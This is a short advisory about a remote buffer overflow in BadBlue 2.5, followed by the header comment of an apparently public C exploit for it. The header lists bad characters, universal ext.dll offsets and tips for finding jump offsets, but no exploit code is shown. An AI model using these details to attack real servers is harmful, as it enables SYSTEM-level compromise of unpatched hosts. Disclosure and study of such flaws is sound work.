A remote buffer overflow vulnerability affects Working Resources BadBlue. This issue is due to a failure of the application to securely copy GET request parameters into finite process buffers.
An attacker may leverage this issue to execute arbitrary code with the privileges of the affected Web server, facilitating a SYSTEM level compromise.
/*
BadBlue, Easy File Sharing Remote BOverflow
Homepage: badblue.com
Affected version: v2.5 (2.60 and below not tested)
Patched version: v2.61
Link: badblue.com/bbs98.exe
Date: 27 February 2005
Application Risk: Severely High
Internet Risk: Low
Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)
Exploit Credits : class101 & metasploit.com
Notes:
-6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by
BadBlue
-using offsets from ext.dll, universal.
-use findjmp2 to quick search into ext.dll to see
if the offsets changes in the others BadBlue's versions below 2.5
-if you need the v2.5 for exploitation's pratices, get it on class101.org
-rename to .c for nux, haven't tested this one but it should works fine.
